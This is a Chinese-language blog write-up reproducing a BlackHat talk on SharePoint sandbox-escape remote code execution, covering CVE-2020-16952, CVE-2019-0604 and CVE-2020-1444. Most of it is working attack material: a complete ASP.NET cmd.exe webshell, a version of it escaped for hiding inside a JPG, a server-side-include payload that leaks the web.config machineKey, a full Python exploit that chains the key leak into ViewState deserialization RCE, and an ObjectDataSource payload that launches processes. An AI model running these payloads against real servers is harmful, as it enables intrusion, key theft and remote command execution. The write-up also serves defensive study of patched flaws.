SharePoint RCE From 0 to 0.9
本文为总结类文章，所写皆为对BlackHat议题Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf 的复现学习，国内也有青藤云实验室的复现文章，有兴趣的推荐去看原文。
前置知识
首先，我们要了解的一个东西就是sharepoint，它是微软用 .net 开发的一套 cms。既然是 cms 肯定允许用户上传，普通用户通过 PUT /my.aspx 的方式就可以上传自己写的任何内容，之后通过 GET /my.aspx 可以看到。虽然我可以在 my.aspx 中写任何内容，但并不是我写的任何内容都会被 SP 服务端解析，这也是其区别于一般cms的地方。我们可以通过一个例子来查看这个东西。
测试环境：SharePoint 2016
我这里首先创建了一个门户网站，需要注意的是，在Sharepoint中新建网站，默认的存储路径为：
C:\inetpub\wwwroot\wss\VirtualDirectories\{端口号}目录结构如下：
关于sharepoint服务器的识别，可以使用whatcms等来识别。
目录扫描可以使用：
gobuster dir -u http://192.168.2.105:8082/ -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt假设我们上传上去了一个aspx的文档
<%@ Import Namespace='System.Diagnostics' %><%@ Import Namespace='System.IO' %><script Language='c#' runat='server'>void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = 'cmd.exe';psi.Arguments = '/c ' arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write('<pre>');Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write('</pre>');}</script><HTML><HEAD><title>awen asp.net webshell</title></HEAD><body ><form id='cmd' method='post' runat='server'><asp:TextBox id='txtArg' style='Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px' runat='server' Width='250px'></asp:TextBox><asp:Button id='testing' style='Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px' runat='server' Text='excute' OnClick='cmdExe_Click'></asp:Button><asp:Label id='lblText' style='Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px' runat='server'>Command:</asp:Label></form></body></HTML>直接访问
我们只需要在PageParserPath加入下面的代码
<PageParserPathVirtualPath='/*'CompilationMode='Always'AllowServerSideScript='true'IncludeSubFolders='true' />
就可以执行命令了
我们也可以使用jpg的方法来实现，首先找到一个图片，然后将webshell代码，转义出来：
<script Language=\'c#\' runat=\'server\'>void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = \'cmd.exe\';psi.Arguments = \'/c \' arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write(\'<pre>\');Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write(\'</pre>\');}</script><HTML><HEAD><title>awen asp.net webshell</title></HEAD><body ><form id=\'cmd\' method=\'post\' runat=\'server\'><asp:TextBox id=\'txtArg\' style=\'Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px\' runat=\'server\' Width=\'250px\'></asp:TextBox><asp:Button id=\'testing\' style=\'Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px\' runat=\'server\' Text=\'excute\' OnClick=\'cmdExe_Click\'></asp:Button><asp:Label id=\'lblText\' style=\'Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px\' runat=\'server\'>Command:</asp:Label></form></body></HTML>然后使用exiftool来将代码插入图片
若是低版本的sharepoint便可以利用该方法执行命令了。其沙箱原理如下：
上述逻辑具体是通过
Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter 来实现，实际上是通过网页文件的 path 来区分：
如果进入了if分支，沙箱就会生效，简称 filter 机制。
但是，在服务端最终用System.Web.UI.TemplateControl.ParseControl()解析网页时，如果按照下面的方式使用：
ParseControl(content);ParseControl(content, ?true?);
filter 机制就会失效，只有第2个参数显示指定为 false 时才 ok，我猜作者大概按照这个思路没有找到直接可用的漏洞，但是发现在 design mode 下，filter 机制都会失效，但是会有新的校验方法：Microsoft.SharePoint.EditingPageParser.VerifyControlOnSafeList()
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false)这个方法简称 verify 机制，和ParseControl一样，最后一个参数也会影响安全因素，当最后一个参数为 false 时（默认 false），允许使用 include 指令。
反序列化、ViewState与MachineKey
推荐文章：https://www.t00ls.net/articles-55183.html
一般情况下，我们拿到MachineKey，其格式如下：
<machineKey validationKey='[String]' decryptionKey='[String]' validation='[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]' decryption='[Auto | DES | 3DES | AES | alg:algorithm_name]' />就可以来进行反序列化甚至是RCE。
CVE-2020-0974
该漏洞为一个RCE漏洞，漏洞点在于
verify 机制中，VerifyControlOnSafeList 方法的 blockServerSideIncludes 参数（最后一个参数）为 false 时允许使用 include 指令。
主要利用思路如下：
利用include去读取目标web.config中的MachineKey---->利用key生成可RCE的payload其exp如下（引号已转义）：
<%@ Register TagPrefix=\'WebPartPages\'Namespace=\'Microsoft.SharePoint.WebPartPage\' Assembly=\'Microsoft.SharePoint,Version = 16.0.0.0, Culture = neutral, PublicKeyToken = 71e9bce111e9429c\' %><WebPartPages:DataFormWebPart runat = \'server\' Title = \'Title\' DisplayName =\'Name\' ID = \'id1\' ><xsl><!--#includefile=\'c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config\'--></xsl></WebPartPages:DataFormWebPart>
打exp
需要进行html编码
更改目录，这个目录如有需要则只能去进行爆破，没有太好的方法来进行猜解
得到machineKey：
<machineKey validationKey='A2BA2AD5D54775F3F5C669988F8DD2AAF50B218385E9858F3763672F558324CB' decryptionKey='128E38A90BC76010195252D42174D84A6299FF15A2659A16E8E15695821DAD01' validation='HMACSHA256' />在 HMACSHA256 加密的情况下，我只需要 validationKey 字段就可以完成反序列化利用。这里一般使用_layouts/15/zoombldr.aspx来进行反序列化操作。
利用脚本地址如下：
https://srcincite.io/pocs/cve-2020-16952.py.txt ，更改后的脚本如下：
#!/usr/bin/python3'''Microsoft SharePoint Server DataFormWebPart CreateChildControls Server-Side Include Remote Code Execution VulnerabilityPatch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952## Summary:An authenticated attacker can craft pages to trigger a server-side include that can be leveraged to leak the web.config file. The attacker can leverage this to achieve remote code execution.## Notes:- this does not require the use of a SharePoint endpoint such as WebPartPagesWebService- the attacker needs AddAndCustomizePages permission enabled which is the default- you will need to compile and store ysoserial.net in the same folder as this exploit## Vulnerability Analysis:Inside of the Microsoft.SharePoint.WebPartPages.DataFormWebPart we can observe the `CreateChildControls````c#namespace Microsoft.SharePoint.WebPartPages{[XmlRoot(Namespace = 'http://schemas.microsoft.com/WebPart/v2/DataView')][ParseChildren(true)][Designer(typeof(DataFormWebPartDesigner))][SupportsAttributeMarkup(true)][AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)][SharePointPermission(SecurityAction.LinkDemand, ObjectModel = true)][AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)][SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]public class DataFormWebPart : BaseXsltDataWebPart, IDesignTimeHtmlProvider, IPostBackEventHandler, IWebPartRow, ICallbackEventHandler, IConnectionData, IListWebPart{// ...[SharePointPermission(SecurityAction.Demand, ObjectModel = true)]protected override void CreateChildControls(){if (!this.Visible){return;}if (!this.AreAllConsumerInterfacesFulfilled()){this._deferredXSLTBecauseOfConnections = true;return;}if ((base.DesignMode && this.AllowXSLTEditing) || this._forAJAXDropDown){return;}if (this.IsMondoCAMLWebPart() && !base.DesignMode && !string.IsNullOrEmpty(this.ListName) && !this.IsForm){SPContext context = SPContext.GetContext(this.Context, base.StorageKey, new Guid(this.ListName), this.CurrentWeb);if (context != null){SPViewContext viewContext = context.ViewContext;if (this is BaseXsltListWebPart){BaseXsltListWebPart baseXsltListWebPart = this as BaseXsltListWebPart;if (baseXsltListWebPart.view != null){viewContext.View = baseXsltListWebPart.view;}}if (viewContext != null && base.RenderMode != RenderMode.Design && base.RenderMode != RenderMode.Preview){viewContext.RedirectIfNecessary();}}}base.CreateChildControls();this.AddDataSourceControls();UpdatePanel updatePanel = null;if (this.AsyncRefresh){this.CreateAsyncPostBackControls(ref updatePanel);this.AddAutoRefreshTimer(updatePanel);}if (base.DesignMode || !this.InitialAsyncDataFetch || this.Page == null || this.Page.IsCallback){this.EnsureDataBound(); // 1}else{this._asyncDelayed = true;if (this.SPList != null && this.SPList.HasExternalDataSource){this.deferXsltTransform = false;this.EnsureDataBound();}string text = Utility.MakeLayoutsRootServerRelative('images/gears_an.gif');string @string = WebPartPageResource.GetString('DataFormWebPartRefreshing');this._partContent = this._partContent '<div id=\'' this.dfwpWPDiv '\' style=\'padding-top:5px;\'>';string partContent = this._partContent;this._partContent = string.Concat(new string[]{partContent,'<center><img src='',text,'' alt='',@string,'' style='border-width:0px;' /></center>'});this._partContent = '</div>';}this.EditMode = false;if (this._partContent != null){if (this.IsForm && this.DataSource is SPDataSource && base.PageComponent != null && this.ItemContext != null){this.ItemContext.CurrentPageComponent = base.PageComponent;}bool flag = this.view != null && base.PageComponent != null;if ((this.IsGhosted || flag) && !this.UseSchemaXmlToolbar && this.ToolbarControl != null){if (base.PageComponent != null){this.ToolbarControl.RenderContext.CurrentPageComponent = base.PageComponent;}if ((this.view == null || !this.view.IsGroupRender) && (!this._asyncDelayed || flag)){if (this.AsyncRefresh && updatePanel != null){updatePanel.ContentTemplateContainer.Controls.Add(this.ToolbarControl);}else{this.Controls.Add(this.ToolbarControl);}}}else{this.CanHaveServerControls = true;}if (this.CanHaveServerControls && DataFormWebPart.RunatChecker.IsMatch(this._partContent)) // 2{if (this._assemblyReferences != null && this._partContent != null){StringBuilder stringBuilder = new StringBuilder();for (int i = 0; i < this._assemblyReferences.Length; i ){stringBuilder.Append(this._assemblyReferences[i]);}stringBuilder.Append(this._partContent);this._partContent = stringBuilder.ToString();}if (base.Web != null){EditingPageParser.VerifyControlOnSafeList(this._partContent, null, base.Web, false); // 3}if (this.Page.AppRelativeVirtualPath == null){this.Page.AppRelativeVirtualPath = '~/current.aspx';}bool flag2 = EditingPageParser.VerifySPDControlMarkup(this._partContent);if (flag2){ULS.SendTraceTag(595161362U, ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.Medium, 'Allow DFWP XSL markup {0} to be parsed without parserFilter.', new object[]{this._partContent});}Control control = this.Page.ParseControl(this._partContent, flag2); // 4SPDataSource spdataSource = this.DataSource as SPDataSource;bool flag3 = false;if (this.view != null && !string.IsNullOrEmpty(this.view.InlineEdit)){flag3 = this.view.InlineEdit.Equals('true', StringComparison.OrdinalIgnoreCase);}SPContext spcontext = null;if (spdataSource != null && base.Web != null && (spdataSource.DataSourceMode == SPDataSourceMode.ListItem || (spdataSource.DataSourceMode == SPDataSourceMode.List && flag3))){string text3;if (spdataSource.DataSourceMode == SPDataSourceMode.List){string text2 = (string)this.ParameterValues.Collection['dvt_form_key'];text3 = text2;}else{text3 = spdataSource.ListItemID.ToString(CultureInfo.InvariantCulture);}if (text3 != null){if (this.FormContexts.ContainsKey(text3)){spcontext = this.FormContexts[text3];}else{spcontext = SPContext.GetContext(this.Context, text3, ((IListWebPart)this).ListId, this.CurrentWeb);this.FormContexts[text3] = spcontext;}}}foreach (object obj in control.Controls){Control control2 = (Control)obj;this.RecursivelyAddFormFieldContext(control2, spcontext);}if (spcontext != null && spdataSource != null){spdataSource.ItemContext = spcontext;}if (this.AsyncRefresh && updatePanel != null){updatePanel.ContentTemplateContainer.Controls.Add(control); // 5}else{this.AddParsedSubObject(control);}using (IEnumerator enumerator2 = control.Controls.GetEnumerator()){while (enumerator2.MoveNext()){object obj2 = enumerator2.Current;Control control3 = (Control)obj2;this.RecursivelyProcessChildFormControls(control3);}goto IL_632;}}if (this.AsyncRefresh && updatePanel != null){if (this._listView != null){updatePanel.ContentTemplateContainer.Controls.Add(this._listView);}else{Literal literal = new Literal();literal.Text = this._partContent;updatePanel.ContentTemplateContainer.Controls.Add(literal);}}else if (this._listView != null){this.AddParsedSubObject(this._listView);}else{this.AddParsedSubObject(new Literal{Text = this._partContent});}IL_632:this.RemoveViewStateIfEmpty('ParamValues');this.RemoveViewStateIfEmpty('FilterOperations');this.RemoveViewStateIfEmpty('IntermediateFormActions');this.RemoveViewStateIfEmpty('OriginalValues');this._partContent = null;this._listView = null;}this._asyncDelayed = false;}```At *[1]*, the code performs a databind and accesses the data from the datasource (in this case it's our controlled serverside http header). The data returned must be valid xml so that it can be processed via our crafted xslt. Then at *[2]* the code calls `DataFormWebPart.RunatChecker.IsMatch` on our controlled `_partContent`. This checks for an instance of `runat=server` in the supplied xml. However, we can't put that in there because we can't register any prefixes (registration is probably not possible due to the <% not being a valid xml tag). But I found a way to pass the check by using HTML server controls which can include a `runat=server`.At *[3]* the code calls `VerifyControlOnSafeList` with the false flag, meaning our input can use server-side includes. Lucky for us, includes are valid xml, so we can stuff them into our `_partContent` and later at *[4]* they are parsed and finally added to the page at *[5]*.This allows an us to leak the complete `web.config` file, including the Validation Key which is enough to generate a malicious serialized viewState and trigger rce via deserialization.## Fingerprint:For detecting vulnerable versions before exploitation, you can use this:```PUT /poc.aspx HTTP/1.1Host: [target]Content-Length: 67<asp:Literal runat='server' Text='<%$SPTokens:{ProductNumber}%>' />```Then https://[target]/poc.aspx should return 16.0.10364.20001.## Credit:Steven Seeley (mr_me) of Qihoo 360 Vulcan Team## Example:For testing, download ysoserial.net and store it in a folder called `yss`.researcher@DESKTOP-H4JDQCB:~$ ./poc.py( ) usage: ./poc.py <SPSite> <user:pass> <cmd>( ) eg: ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### mspaint( ) eg: ./poc.py win-3t816hj84n4/sites/test harryh@pwn.me:user123### notepadresearcher@DESKTOP-H4JDQCB:~$ ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### notepad( ) leaked validation key: 55AAE0A8E646746523FA5EE0675232BE39990CDAC3AE2B0772E32D71C05929D8( ) triggering rce, running 'cmd /c notepad'( ) done! rce achieved'''import osimport reimport sysimport urllib3import requestsimport subprocessfrom platform import unamefrom requests_ntlm2 import HttpNtlmAuthfrom urllib.parse import urlparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def put_page(target, domain, user, password):payload = '''<WebPartPages:DataFormWebPart runat='server'><ParameterBindings><ParameterBinding Name='ssi' Location='ServerVariable(HTTP_360Vulcan)' DefaultValue='' /></ParameterBindings><xsl><xsl:stylesheet xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' version='1.0'><xsl:param name='ssi' /><xsl:template match='/'><xsl:value-of select='$ssi' disable-output-escaping='yes' /></xsl:template></xsl:stylesheet></xsl></WebPartPages:DataFormWebPart>'''r = requests.put('http://%s/poc.aspx' % target, data=payload, auth=HttpNtlmAuth('%s\\%s' % (domain, user), password))assert (r.status_code == 200 or r.status_code == 201), '(-) page creation failed, user doesn't have site ownership rights!'def get_vkey(target, domain, user, password):h = { '360Vulcan': '<form runat=\'server\' /><!--#include virtual=\'/web.config\'-->' }r = requests.get('http://%s/poc.aspx' % target, auth=HttpNtlmAuth('%s\\%s' % (domain, user), password), headers=h)match = re.search('machineKey validationKey=\'(.{64})', r.text)assert match, '(-) unable to leak the validation key, exploit failed!'return match.group(1)def trigger_rce(target, domain, path, user, password, cmd, key):out = subprocess.Popen(['yss/ysoserial.exe','-p', 'ViewState','-g', 'TypeConfuseDelegate','-c', '%s' % cmd,'--apppath=%s' % path,'--path=%s_layouts/15/zoombldr.aspx' % path,'--islegacy','--validationalg=HMACSHA256','--validationkey=%s' % key], stdout=subprocess.PIPE)rce = { '__VIEWSTATE' : out.communicate()[0].decode() }requests.post('http://%s/_layouts/15/zoombldr.aspx' % target, data=rce, auth=HttpNtlmAuth('%s\\%s' % (domain, user), password))def main():if len(sys.argv) != 4:print('( ) usage: %s <SPSite> <user:pass> <cmd>' % sys.argv[0])print('( ) eg: %s win-3t816hj84n4 harryh@pwn.me:user123### mspaint' % sys.argv[0])print('( ) eg: %s win-3t816hj84n4/sites/test harryh@pwn.me:user123### notepad' % sys.argv[0])sys.exit(-1)target = sys.argv[1]user = sys.argv[2].split(':')[0].split('@')[0]password = sys.argv[2].split(':')[1]domain = sys.argv[2].split(':')[0].split('@')[1]cmd = sys.argv[3]path = urlparse('http://%s' % target).path or '/'path = path '/' if not path.endswith('/') else path##put_page(target, domain, user, password)key = 'A2BA2AD5D54775F3F5C669988F8DD2AAF50B218385E9858F3763672F558324CB'print('( ) leaked validation key: %s' % key)print('( ) triggering rce, running 'cmd /c %s'' % cmd)trigger_rce(target, domain, path, user, password, cmd, key)print('( ) done! rce achieved')if __name__ == '__main__':if 'microsoft' not in uname()[2].lower():print('(-) WARNING - this was tested on wsl, so it may not work on other platforms')if not os.path.exists('yss/ysoserial.exe'):print('(-) missing ysoserial.net!')sys.exit(-1)main()
成功RCE
CVE-2019-0604
推荐之前的文章CVE-2019-0604分析及武器化
CVE-2020-1444
测试环境：
Server2016
SP2016
dnSpy
背景知识
ObjectDataSource
通过 ObjectDataSource 定义知道在 asp.net 中 ObjectDataSource可以调用任意运行时方法，类似 ObjectDataProvider
Asp.Net 的内联表达式
<%-- ... -- %> 表示注释
<%@ ... %> 表示指令
刚刚的代码如下：
<%@ Register TagPrefix='asp3' Namespace='System.Web.UI.WebControls' Assembly='System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' %>
<asp3:ObjectDataSource ID='ODS1' runat='server' SelectMethod='Start' TypeName='System.Diagnostics.Process' > <SelectParameters> <asp3:Parameter Direction='input' Type='string' Name='fileName' DefaultValue='calc'/> </SelectParameters></asp3:ObjectDataSource><asp3:ListBox ID='LB1' runat='server' DataSourceID = 'ODS1' />Register类似于python中的Import，这里就是引用命名空间：System.Web.UI.WebControls，并命名别名为asp3。之后的<asp3:ObjectDataSource，则表示调用System.Web.UI.WebControls下面的ObjectDataSource，这里即为asp3。
关于该方法，官方文档地址为：https://docs.microsoft.com/zh-cn/dotnet/api/system.web.ui.webcontrols.objectdatasource?view=netframework-4.8
其构造方法如下：
public ObjectDataSource (string typeName, string selectMethod);漏洞原理
漏洞位置：/_layouts/15/WebPartEditingSurface.aspx
借议题的图：
用户输入在经过服务端校验后，被服务端修改后再使用，这个顺序显然是有问题的，也是漏洞成因，具体到代码里
//Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePage注意，在ParseControl使用时没用加上第二个参数。而按照之前所说，这样就会造成沙箱逃逸。
整个漏洞流程如下：
其主要问题点ConvertMarkupToTree，着重分析一下，须提供的参数：WebPartUrl 和 Url
Url 参数暂时不管，在后面漏洞利用章节会去讨论。通过对代码 trace 可以发现 WebPartUrl 指向的文件必须是一个 xml，这个 xml 还有其他要求，暂且不提。从服务端取参到 ConvertMarkupToTree 的处理步骤是：
取参（url of xml）
通过 web 获取 xml 的字符串流（GetWebPartMarkup）
对字符串流做一些预处理，包括校验（ConvertWebPartMarkup）
将字符串流转成 xml 树（ConvertMarkupToTree)
经过各种处理，将 xml 树 转回字符串流（xelement2.ToString）
网页解析（ParseControl）
从上面可以看出 string -> xml tree 发生在校验之后，看看具体做了哪些事
正则如下：
这个正则匹配的是内联表达式中的 Register 指令，有两个命名捕获：TagPrefix 和 DllInfo。
TagPrefix 用正则捕获，DllInfo 是 TagPrefix 之后的所有内容。比如下面的例子：
漏洞利用
<%@ Register TagPrefix='WebPartPages'Namespace='Microsoft.SharePoint.WebPartPage' Assembly='Microsoft.SharePoint,Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c' %><%@ Register TagPrefix='SearchW'Namespace='Microsoft.Office.Server.Search.WebControls'Assembly='Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral,PublicKeyToken=71e9bce111e9429c' %><%@ Register TagPrefix='asp3' Namespace='System.Web.UI.WebControls'Assembly='System.Web, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a' %><SearchW:DataProviderScriptWebPart ID='DPSWebPart1' runat='server' /><div id='cdata1'><![CDATA[<%-- prefix--%<%@ Register TagPrefix='asp' Namespace='System.Web.UI.WebControls'Assembly='System.Web, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a' %>><asp3:ObjectDataSource ID='ODS1' runat='server' SelectMethod='Start'TypeName='System.Diagnostics.Process' ><SelectParameters><asp3:Parameter Direction='input' Type='string' Name='fileName'DefaultValue='calc'/></SelectParameters></asp3:ObjectDataSource><asp3:ListBox ID='LB1' runat='server' DataSourceID = 'ODS1' /><%-- sufix--%>]]></div>
利用过程跟 CVE-2020-16951类似，都是先将POC的xmlput上去，然后再访问指定的url来进行触发。
参数可以在母版页找到
上传成功
下面就是访问指定链接的问题了
GET /_layouts/15/WebPartEditingSurface.aspx?WebPartUrl=http://.../poc.xml&Url=/_catalogs/masterpage/seattle.master HTTP/1.1然而报错了
我们需要用 SMP 打开了个 feature
PS C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\FEATURES> STSADM.EXE -o activatefeature -filename .\PublishingResources\Feature.xml -url http://192.168.2.107:8082/ -force
此时再重新发包，即可成功复现。
参考文章：
https://paper.seebug.org/1424/
https://paper.seebug.org/1456/
https://paper.seebug.org/1430/
https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf
https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.designerserializationvisibilityattribute?view=net-5.0
https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance
https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
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